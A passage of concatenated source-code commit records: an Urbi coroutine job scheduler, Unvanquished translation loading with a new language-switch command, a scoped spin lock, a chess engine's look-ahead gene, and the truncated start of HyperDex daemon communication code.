to_start_.clear ();\n std::swap (to_start_, jobs_to_start_);\n foreach (Job* job, to_start_)\n {\n to_kill_ = 0;\n assert (job);\n ECHO (\"will start job \" << *job);\n \/\/ Job will start for a very short time and do a yield_front() to\n \/\/ be restarted below in the course of the regular cycle.\n assert (!current_job_);\n current_job_ = job;\n Coro_startCoro_ (self_, job->coro_get(), job, run_job);\n \/\/ We have to assume that a new job may have had side-effects.\n possible_side_effect_ = true;\n }\n\n \/\/ Start deferred jobs\n for (libport::utime_t current_time = ::urbiserver->getTime ();\n\t !deferred_jobs_.empty();\n\t deferred_jobs_.pop ())\n {\n deferred_job j = deferred_jobs_.top ();\n if (current_time < j.get<0>())\n\tbreak;\n jobs_.push_back (j.get<1> ());\n }\n\n \/\/ If something is going to happen, or if we have just started a\n \/\/ new job, add the list of jobs waiting for something to happen\n \/\/ on the pending jobs queue.\n if (!if_change_jobs_.empty() && (possible_side_effect_ || !jobs_.empty()))\n {\n foreach (Job* job, if_change_jobs_)\n\tjobs_.push_back (job);\n if_change_jobs_.clear ();\n }\n\n \/\/ Run all the jobs in the run queue once. If any job declares upon entry or\n \/\/ return that it is not side-effect free, we remember that for the next\n \/\/ cycle.\n possible_side_effect_ = false;\n pending_.clear ();\n std::swap (pending_, jobs_);\n\n ECHO (pending_.size() << \" jobs in the queue for this cycle\");\n foreach (Job* job, pending_)\n {\n \/\/ Kill a job if needed. See explanation in job.hh.\n to_kill_ = 0;\n\n assert (job);\n assert (!job->terminated ());\n ECHO (\"will resume job \" << *job << (job->side_effect_free_get() ? \" (side-effect free)\" : \"\"));\n possible_side_effect_ |= !job->side_effect_free_get ();\n assert (!current_job_);\n Coro_switchTo_ (self_, job->coro_get ());\n assert (!current_job_);\n possible_side_effect_ |= !job->side_effect_free_get ();\n ECHO (\"back from job \" << *job << (job->side_effect_free_get() ? \" (side-effect free)\" : \"\"));\n }\n \/\/ Kill a job if needed. See explanation in job.hh.\n to_kill_ = 0;\n\n \/\/ Do we have some work to do now?\n if (!jobs_.empty () || !jobs_to_start_.empty())\n {\n ECHO (\"scheduler: asking to be recalled ASAP, \" << jobs_.size() << \" jobs ready and \" << jobs_to_start_.size()\n\t << \" to start\");\n return 0;\n }\n\n \/\/ Do we have deferred jobs?\n if (!deferred_jobs_.empty ())\n {\n ECHO (\"scheduler: asking to be recalled later\");\n return deferred_jobs_.top ().get<0> ();\n }\n\n \/\/ Ok, let's say, we'll be called again in one hour.\n ECHO (\"scheduler: asking to be recalled in a long time\");\n return ::urbiserver->getTime() + 3600000000LL;\n }\n\n void\n Scheduler::switch_back (Job* job)\n {\n \/\/ Switch back to the scheduler.\n assert (current_job_ == job);\n current_job_ = 0;\n Coro_switchTo_ (job->coro_get (), self_);\n \/\/ We regained control, we are again in the context of the job.\n assert (!current_job_);\n current_job_ = job;\n ECHO (\"job \" << *job << \" resumed\");\n \/\/ Check that we are not near exhausting the stack space.\n job->check_stack_space ();\n \/\/ Execute a deferred exception if any\n job->check_for_pending_exception ();\n }\n\n void\n Scheduler::resume_scheduler (Job* job)\n {\n \/\/ If the job has not terminated and is side-effect free, then we\n \/\/ assume it will not take a long time as we are probably evaluating\n \/\/ a condition. In order to reduce the number of cycles spent to evaluate\n \/\/ the condition, continue until it asks to be suspended in another\n \/\/ way or until it is no longer side-effect free.\n\n if (!job->terminated () && job->side_effect_free_get ())\n return;\n\n \/\/ If the job has not terminated, put it at the back of the run queue\n \/\/ so that the run queue order is preserved between work cycles.\n if (!job->terminated ())\n jobs_.push_back (job);\n ECHO (*job << \" has \" << (job->terminated () ? \"\" : \"not \") << \"terminated\");\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_front (Job* job)\n {\n \/\/ Put the job in front of the queue. If the job asks to be requeued,\n \/\/ it is not terminated.\n assert (!job->terminated ());\n jobs_.push_front (job);\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_until (Job* job, libport::utime_t deadline)\n {\n \/\/ Put the job in the deferred queue. If the job asks to be requeued,\n \/\/ it is not terminated.\n assert (!job->terminated ());\n deferred_jobs_.push (boost::make_tuple (deadline, job));\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_suspend (Job* job)\n {\n suspended_jobs_.push_back (job);\n switch_back (job);\n }\n\n void\n Scheduler::resume_scheduler_things_changed (Job* job)\n {\n if_change_jobs_.push_back (job);\n switch_back (job);\n }\n\n void\n Scheduler::resume_job (Job* job)\n {\n \/\/ Suspended job may have been killed externally, in which case it\n \/\/ will not appear in the list of suspended jobs.\n\n if (libport::has (suspended_jobs_, job))\n {\n jobs_.push_back (job);\n suspended_jobs_.remove (job);\n }\n }\n\n void\n Scheduler::killall_jobs ()\n {\n ECHO (\"killing all jobs!\");\n\n \/\/ This implementation is quite inefficient because it will call\n \/\/ kill_job() for each job. But who cares? We are killing everyone\n \/\/ anyway.\n\n while (!jobs_to_start_.empty ())\n jobs_to_start_.pop_front ();\n\n while (!suspended_jobs_.empty ())\n kill_job (suspended_jobs_.front ());\n\n while (!if_change_jobs_.empty ())\n kill_job (if_change_jobs_.front ());\n\n while (!jobs_.empty ())\n kill_job (jobs_.front ());\n\n while (!deferred_jobs_.empty ())\n kill_job (deferred_jobs_.top ().get<1>());\n }\n\n void\n Scheduler::unschedule_job (Job* job)\n {\n assert (job);\n assert (job != current_job_);\n\n ECHO (\"unscheduling job \" << *job);\n\n \/\/ Remove the job from the queues where it could be stored.\n jobs_to_start_.remove (job);\n jobs_.remove (job);\n suspended_jobs_.remove (job);\n if_change_jobs_.remove (job);\n\n \/\/ Remove it from live queues as well if the job is destroyed.\n to_start_.remove (job);\n pending_.remove (job);\n\n \/\/ We have no remove() on a priority queue, regenerate a queue without\n \/\/ this job.\n {\n deferred_jobs old_deferred;\n std::swap (old_deferred, deferred_jobs_);\n while (!old_deferred.empty ())\n {\n\tdeferred_job j = old_deferred.top ();\n\told_deferred.pop ();\n\tif (j.get<1>() != job)\n\t deferred_jobs_.push (j);\n }\n }\n }\n\n void\n Scheduler::kill_job (Job* job)\n {\n assert (job != current_job_);\n\n ECHO (\"deleting job \" << *job);\n delete job;\n }\n\n bool operator> (const deferred_job& left, const deferred_job& right)\n {\n return left.get<0>() > right.get<0>();\n }\n\n} \/\/ namespace scheduler\n<|endoftext|>"} {"text":"<commit_before>\/*\n===========================================================================\n\nDaemon GPL Source Code\nCopyright (C) 2012 Unvanquished Developers\n\nThis file is part of the Daemon GPL Source Code (Daemon Source Code).\n\nDaemon Source Code is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nDaemon Source Code is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Daemon Source Code. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\nIn addition, the Daemon Source Code is also subject to certain additional terms.\nYou should have received a copy of these additional terms immediately following the\nterms and conditions of the GNU General Public License which accompanied the Daemon\nSource Code. If not, please request a copy in writing from id Software at the address\nbelow.\n\nIf you have questions concerning this license or the applicable additional terms, you\nmay contact in writing id Software LLC, c\/o ZeniMax Media Inc., Suite 120, Rockville,\nMaryland 20850 USA.\n\n===========================================================================\n*\/\n\nextern \"C\"\n{\n#include \"q_shared.h\"\n#include \"qcommon.h\"\n#include \"..\/..\/libs\/findlocale\/findlocale.h\"\n}\n\n#include \"..\/..\/libs\/tinygettext\/tinygettext.hpp\"\n#include <sstream>\n\nusing namespace tinygettext;\n\nDictionaryManager trans_manager;\nDictionaryManager trans_managergame;\nDictionary trans_dict;\nDictionary trans_dictgame;\n\ncvar_t *language;\nbool enabled = false;\n\n#define _(x) Trans_Gettext(x)\n\nextern \"C\" void Trans_Init( void )\n{\n\tchar **poFiles;\n\tint numPoFiles, i;\n\tFL_Locale *locale;\n\t\n\tlanguage = Cvar_Get( \"language\", \"\", CVAR_ARCHIVE );\n\t\n\tFL_FindLocale( &locale, FL_MESSAGES );\n\t\n\t\/\/ Invalid or not found. Just use builtin language.\n\tif( !locale->lang || !locale->lang[0] || !locale->country || !locale->country[0] ) \n\t{\n\t\tCvar_Set( \"language\", \"en_US\" );\n\t}\n\t\t\n\tpoFiles = FS_ListFiles( \"translation\/client\", \".po\", &numPoFiles );\n\t\n\t\/\/ This assumes that the names in both folders are the same\n\tfor( i = 0; i < numPoFiles; i++ )\n\t{\n\t\tint ret;\n\t\tDictionary *dict1;\n\t\tDictionary *dict2;\n\t\tchar *buffer, language[ 6 ];\n\t\t\n\t\tif( FS_ReadFile( va( \"translation\/client\/%s\", poFiles[ i ] ), ( void ** ) &buffer ) > 0 )\n\t\t{\n\t\t\tdict1 = new Dictionary();\n\t\t\tCOM_StripExtension2( poFiles[ i ], language, sizeof( language ) );\n\t\t\tstd::stringstream ss( buffer );\n\t\t\ttrans_manager.add_po( poFiles[ i ], ss, Language::from_env( std::string( language ) ) );\n\t\t\tFS_FreeFile( buffer );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tCom_Printf( \"^1ERROR: Could not open client translation: %s\\n\", poFiles[ i ] );\n\t\t}\n\t\t\n\t\tif( FS_ReadFile( va( \"translation\/game\/%s\", poFiles[ i ] ), ( void ** ) &buffer ) > 0 )\n\t\t{\n\t\t\tdict2 = new Dictionary();\n\t\t\tCOM_StripExtension2( poFiles[ i ], language, sizeof( language ) );\n\t\t\tstd::stringstream ss( buffer );\n\t\t\ttrans_managergame.add_po( poFiles[ i ], ss, Language::from_env( std::string( language ) ) );\n\t\t\tFS_FreeFile( buffer );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tCom_Printf( \"^1ERROR: Could not open game translation: %s\\n\", poFiles[ i ] );\n\t\t}\n\t}\n\tFS_FreeFileList( poFiles );\n\ttrans_dict = trans_manager.get_dictionary( Language::from_env( std::string( language->string ) ) );\n\ttrans_dictgame = trans_managergame.get_dictionary( Language::from_env( std::string( language->string ) ) );\n\tenabled = true;\n\tCom_Printf( \"Loaded %lu language(s)\\n\", trans_manager.get_languages().size() );\n}\n\nextern \"C\" const char* Trans_Gettext( const char *msgid )\n{\n\tif( !enabled ) { return msgid; }\n\treturn trans_dict.translate( std::string( msgid ) ).c_str();\n}\n\nextern \"C\" const char* Trans_GettextGame( const char *msgid )\n{\n\tif( !enabled ) { return msgid; }\n\treturn trans_dictgame.translate( std::string( msgid ) ).c_str();\n}\n\nextern \"C\" const char* Trans_GettextPlural( const char *msgid, const char *msgid_plural, int num )\n{\n\tif( !enabled ) { return num == 1 ? msgid : msgid_plural; }\n\treturn trans_dict.translate_plural( std::string( msgid ), std::string( msgid_plural ), num ).c_str();\n}\n\nextern \"C\" const char* Trans_GettextGamePlural( const char *msgid, const char *msgid_plural, int num )\n{\n\tif( !enabled ) { return num == 1 ? msgid : msgid_plural; }\n\treturn trans_dictgame.translate_plural( std::string( msgid ), std::string( msgid_plural ), num ).c_str();\n}\n<commit_msg>Force language changing through a menu<commit_after>\/*\n===========================================================================\n\nDaemon GPL Source Code\nCopyright (C) 2012 Unvanquished Developers\n\nThis file is part of the Daemon GPL Source Code (Daemon Source Code).\n\nDaemon Source Code is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nDaemon Source Code is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Daemon Source Code. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\nIn addition, the Daemon Source Code is also subject to certain additional terms.\nYou should have received a copy of these additional terms immediately following the\nterms and conditions of the GNU General Public License which accompanied the Daemon\nSource Code. If not, please request a copy in writing from id Software at the address\nbelow.\n\nIf you have questions concerning this license or the applicable additional terms, you\nmay contact in writing id Software LLC, c\/o ZeniMax Media Inc., Suite 120, Rockville,\nMaryland 20850 USA.\n\n===========================================================================\n*\/\n\nextern \"C\"\n{\n#include \"q_shared.h\"\n#include \"qcommon.h\"\n#include \"..\/..\/libs\/findlocale\/findlocale.h\"\n}\n\n#include \"..\/..\/libs\/tinygettext\/tinygettext.hpp\"\n#include <sstream>\n\nusing namespace tinygettext;\n\nDictionaryManager trans_manager;\nDictionaryManager trans_managergame;\nDictionary trans_dict;\nDictionary trans_dictgame;\n\ncvar_t *language;\nbool enabled = false;\nint modificationCount=0;\n\n#define _(x) Trans_Gettext(x)\n\nextern \"C\" void Trans_UpdateLanguage_f( void )\n{\n\ttrans_dict = trans_manager.get_dictionary( Language::from_env( std::string( language->string ) ) );\n\ttrans_dictgame = trans_managergame.get_dictionary( Language::from_env( std::string( language->string ) ) );\n\tCom_Printf( \"Switched language to %s\\n\", Language::from_env( std::string( language->string ) ).get_name().c_str() );\n}\n\t\n\nextern \"C\" void Trans_Init( void )\n{\n\tchar **poFiles, langList[ MAX_TOKEN_CHARS ], encList[ MAX_TOKEN_CHARS ];\n\tint numPoFiles, i;\n\tFL_Locale *locale;\n\tstd::set<Language> lang;\n\t\n\tlanguage = Cvar_Get( \"language\", \"\", CVAR_ROM );\n\t\n\tFL_FindLocale( &locale, FL_MESSAGES );\n\t\n\t\/\/ Invalid or not found. Just use builtin language.\n\tif( !locale->lang || !locale->lang[0] || !locale->country || !locale->country[0] ) \n\t{\n\t\tCvar_Set( \"language\", \"en_US\" );\n\t}\n\telse\n\t{\n\t\tCvar_Set( \"language\", va( \"%s_%s\", locale->lang, locale->country ) );\n\t}\n\t\t\n\tpoFiles = FS_ListFiles( \"translation\/client\", \".po\", &numPoFiles );\n\t\n\t\/\/ This assumes that the names in both folders are the same\n\tfor( i = 0; i < numPoFiles; i++ )\n\t{\n\t\tint ret;\n\t\tDictionary *dict1;\n\t\tDictionary *dict2;\n\t\tchar *buffer, language[ 6 ];\n\t\t\n\t\tif( FS_ReadFile( va( \"translation\/client\/%s\", poFiles[ i ] ), ( void ** ) &buffer ) > 0 )\n\t\t{\n\t\t\tdict1 = new Dictionary();\n\t\t\tCOM_StripExtension2( poFiles[ i ], language, sizeof( language ) );\n\t\t\tstd::stringstream ss( buffer );\n\t\t\ttrans_manager.add_po( poFiles[ i ], ss, Language::from_env( std::string( language ) ) );\n\t\t\tFS_FreeFile( buffer );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tCom_Printf( \"^1ERROR: Could not open client translation: %s\\n\", poFiles[ i ] );\n\t\t}\n\t\t\n\t\tif( FS_ReadFile( va( \"translation\/game\/%s\", poFiles[ i ] ), ( void ** ) &buffer ) > 0 )\n\t\t{\n\t\t\tdict2 = new Dictionary();\n\t\t\tCOM_StripExtension2( poFiles[ i ], language, sizeof( language ) );\n\t\t\tstd::stringstream ss( buffer );\n\t\t\ttrans_managergame.add_po( poFiles[ i ], ss, Language::from_env( std::string( language ) ) );\n\t\t\tFS_FreeFile( buffer );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tCom_Printf( \"^1ERROR: Could not open game translation: %s\\n\", poFiles[ i ] );\n\t\t}\n\t}\n\tFS_FreeFileList( poFiles );\n\ttrans_dict = trans_manager.get_dictionary( Language::from_env( std::string( language->string ) ) );\n\ttrans_dictgame = trans_managergame.get_dictionary( Language::from_env( std::string( language->string ) ) );\n\tlang = trans_manager.get_languages();\n\tfor( std::set<Language>::iterator p = lang.begin(); p != lang.end(); p++ )\n\t{\n\t\tQ_strcat( langList, sizeof( langList ), va( \"\\\"%s\\\" \", p->get_name().c_str() ) );\n\t\tQ_strcat( encList, sizeof( encList ), va( \"\\\"%s_%s\\\" \", p->get_language().c_str(), p->get_country().c_str() ) );\n\t}\n\tCvar_Set( \"trans_languages\", langList );\n\tCvar_Set( \"trans_encodings\", encList );\n\tCom_Printf( \"Loaded %lu language(s)\\n\", lang.size() );\n\tCmd_AddCommand( \"updatelanguage\", Trans_UpdateLanguage_f );\n\tenabled = true;\n}\n\nextern \"C\" const char* Trans_Gettext( const char *msgid )\n{\n\tif( !enabled ) { return msgid; }\n\treturn trans_dict.translate( std::string( msgid ) ).c_str();\n}\n\nextern \"C\" const char* Trans_GettextGame( const char *msgid )\n{\n\tif( !enabled ) { return msgid; }\n\treturn trans_dictgame.translate( std::string( msgid ) ).c_str();\n}\n\nextern \"C\" const char* Trans_GettextPlural( const char *msgid, const char *msgid_plural, int num )\n{\n\tif( !enabled ) { return num == 1 ? msgid : msgid_plural; }\n\treturn trans_dict.translate_plural( std::string( msgid ), std::string( msgid_plural ), num ).c_str();\n}\n\nextern \"C\" const char* Trans_GettextGamePlural( const char *msgid, const char *msgid_plural, int num )\n{\n\tif( !enabled ) { return num == 1 ? msgid : msgid_plural; }\n\treturn trans_dictgame.translate_plural( std::string( msgid ), std::string( msgid_plural ), num ).c_str();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012, Noriyuki OHKAWA a.k.a. notogawa.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/\n\/\/ * Neither the name of Noriyuki OHKAWA and notogawa nor the names of other\n\/\/ contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#include \"scoped_global_lock.hpp\"\n\nnamespace ift {\n\nscoped_global_lock::scoped_global_lock()\n{\n while (!__sync_bool_compare_and_swap (&mutex, recurse, recurse+1));\n ++recurse;\n}\n\nscoped_global_lock::~scoped_global_lock() throw ()\n{\n --recurse;\n __sync_bool_compare_and_swap (&mutex, recurse+1, recurse);\n}\n\nbool scoped_global_lock::locked()\n{\n return 0 < mutex && recurse == mutex;\n}\n\nint scoped_global_lock::mutex = 0;\n\n__thread int scoped_global_lock::recurse = 0;\n\n}\n<commit_msg>suggested to add explicit braces around empty body in 'while' statement.<commit_after>\/\/ Copyright (c) 2012, Noriyuki OHKAWA a.k.a. notogawa.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/\n\/\/ * Neither the name of Noriyuki OHKAWA and notogawa nor the names of other\n\/\/ contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#include \"scoped_global_lock.hpp\"\n\nnamespace ift {\n\nscoped_global_lock::scoped_global_lock()\n{\n while (!__sync_bool_compare_and_swap (&mutex, recurse, recurse+1)) {}\n ++recurse;\n}\n\nscoped_global_lock::~scoped_global_lock() throw ()\n{\n --recurse;\n __sync_bool_compare_and_swap (&mutex, recurse+1, recurse);\n}\n\nbool scoped_global_lock::locked()\n{\n return 0 < mutex && recurse == mutex;\n}\n\nint scoped_global_lock::mutex = 0;\n\n__thread int scoped_global_lock::recurse = 0;\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Genes\/Look_Ahead_Gene.h\"\n\n#include <cmath>\n#include <algorithm>\n\n#include \"Utility.h\"\n#include \"Game\/Board.h\"\n#include \"Game\/Clock.h\"\n\n\nLook_Ahead_Gene::Look_Ahead_Gene() :\n Gene(0.0),\n mean_game_length(100),\n positions_per_second(0)\n{\n}\n\nvoid Look_Ahead_Gene::reset_properties() const\n{\n properties[\"Mean Game Length\"] = mean_game_length;\n properties[\"Positions Per Second\"] = positions_per_second;\n}\n\nvoid Look_Ahead_Gene::load_properties()\n{\n mean_game_length = properties[\"Mean Game Length\"];\n positions_per_second = properties[\"Positions Per Second\"];\n}\n\nLook_Ahead_Gene::~Look_Ahead_Gene()\n{\n}\n\ndouble Look_Ahead_Gene::positions_to_examine(const Board& board, const Clock& clock) const\n{\n auto time_left = clock.time_left(board.whose_turn());\n auto moves_so_far = board.get_game_record().size()\/2; \/\/ only count moves by this player\n auto moves_left = Math::average_moves_left(mean_game_length, moves_so_far);\n auto time_per_move = time_left\/moves_left;\n return positions_per_second*time_per_move; \/\/ positions to examine for one move\n}\n\nvoid Look_Ahead_Gene::mutate()\n{\n mean_game_length = std::max(1.0, mean_game_length + Random::random_normal(1.0));\n positions_per_second = std::max(0.0, positions_per_second + Random::random_normal(10.0));\n}\n\nLook_Ahead_Gene* Look_Ahead_Gene::duplicate() const\n{\n return new Look_Ahead_Gene(*this);\n}\n\nstd::string Look_Ahead_Gene::name() const\n{\n return \"Look Ahead Gene\";\n}\n\ndouble Look_Ahead_Gene::score_board(const Board&, Color) const\n{\n return 0.0;\n}\n<commit_msg>Lower initial estimate of mean game length<commit_after>#include \"Genes\/Look_Ahead_Gene.h\"\n\n#include <cmath>\n#include <algorithm>\n\n#include \"Utility.h\"\n#include \"Game\/Board.h\"\n#include \"Game\/Clock.h\"\n\n\nLook_Ahead_Gene::Look_Ahead_Gene() :\n Gene(0.0),\n mean_game_length(50),\n positions_per_second(0)\n{\n}\n\nvoid Look_Ahead_Gene::reset_properties() const\n{\n properties[\"Mean Game Length\"] = mean_game_length;\n properties[\"Positions Per Second\"] = positions_per_second;\n}\n\nvoid Look_Ahead_Gene::load_properties()\n{\n mean_game_length = properties[\"Mean Game Length\"];\n positions_per_second = properties[\"Positions Per Second\"];\n}\n\nLook_Ahead_Gene::~Look_Ahead_Gene()\n{\n}\n\ndouble Look_Ahead_Gene::positions_to_examine(const Board& board, const Clock& clock) const\n{\n auto time_left = clock.time_left(board.whose_turn());\n auto moves_so_far = board.get_game_record().size()\/2; \/\/ only count moves by this player\n auto moves_left = Math::average_moves_left(mean_game_length, moves_so_far);\n auto time_per_move = time_left\/moves_left;\n return positions_per_second*time_per_move; \/\/ positions to examine for one move\n}\n\nvoid Look_Ahead_Gene::mutate()\n{\n mean_game_length = std::max(1.0, mean_game_length + Random::random_normal(1.0));\n positions_per_second = std::max(0.0, positions_per_second + Random::random_normal(10.0));\n}\n\nLook_Ahead_Gene* Look_Ahead_Gene::duplicate() const\n{\n return new Look_Ahead_Gene(*this);\n}\n\nstd::string Look_Ahead_Gene::name() const\n{\n return \"Look Ahead Gene\";\n}\n\ndouble Look_Ahead_Gene::score_board(const Board&, Color) const\n{\n return 0.0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012, Cornell University\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of HyperDex nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n\/\/ Google Log\n#include <glog\/logging.h>\n\n\/\/ HyperDex\n#include \"daemon\/communication.h\"\n#include \"daemon\/daemon.h\"\n\nusing hyperdex::communication;\nusing hyperdex::reconfigure_returncode;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Early Messages \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass communication::early_message\n{\n public:\n early_message();\n early_message(uint64_t version, uint64_t id,\n std::auto_ptr<e::buffer> m);\n ~early_message() throw ();\n\n public:\n uint64_t config_version;\n uint64_t id;\n std::auto_ptr<e::buffer> msg;\n};\n\ncommunication :: early_message :: early_message()\n : config_version(0)\n , id()\n , msg()\n{\n}\n\ncommunication :: early_message :: early_message(uint64_t v,\n uint64_t i,\n std::auto_ptr<e::buffer> m)\n : config_version(v)\n , id(i)\n , msg(m)\n{\n}\n\ncommunication :: early_message :: ~early_message() throw ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Public Class \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ncommunication :: communication(daemon* d)\n : m_daemon(d)\n , m_busybee_mapper(&m_daemon->m_config)\n , m_busybee()\n , m_early_messages()\n{\n}\n\ncommunication :: ~communication() throw ()\n{\n}\n\nbool\ncommunication :: setup(const po6::net::location& bind_to,\n unsigned threads)\n{\n m_busybee.reset(new busybee_mta(&m_busybee_mapper, bind_to, m_daemon->m_us.get(), threads));\n return true;\n}\n\nvoid\ncommunication :: teardown()\n{\n}\n\nreconfigure_returncode\ncommunication :: prepare(const configuration&,\n const configuration&,\n const server_id&)\n{\n \/\/ XXX\n return RECONFIGURE_SUCCESS;\n}\n\nreconfigure_returncode\ncommunication :: reconfigure(const configuration&,\n const configuration&,\n const server_id&)\n{\n \/\/ XXX\n return RECONFIGURE_SUCCESS;\n}\n\nreconfigure_returncode\ncommunication :: cleanup(const configuration&,\n const configuration&,\n const server_id&)\n{\n \/\/ XXX\n return RECONFIGURE_SUCCESS;\n}\n\nbool\ncommunication :: send(const virtual_server_id& from,\n const server_id& to,\n network_msgtype msg_type,\n std::auto_ptr<e::buffer> msg)\n{\n assert(msg->size() >= HYPERDEX_HEADER_SIZE_VS);\n\n#ifdef HD_LOG_ALL_MESSAGES\n LOG(INFO) << \"SEND \" << from << \"->\" << to << \" \" << msg_type << \" \" << msg->hex();\n#endif\n\n if 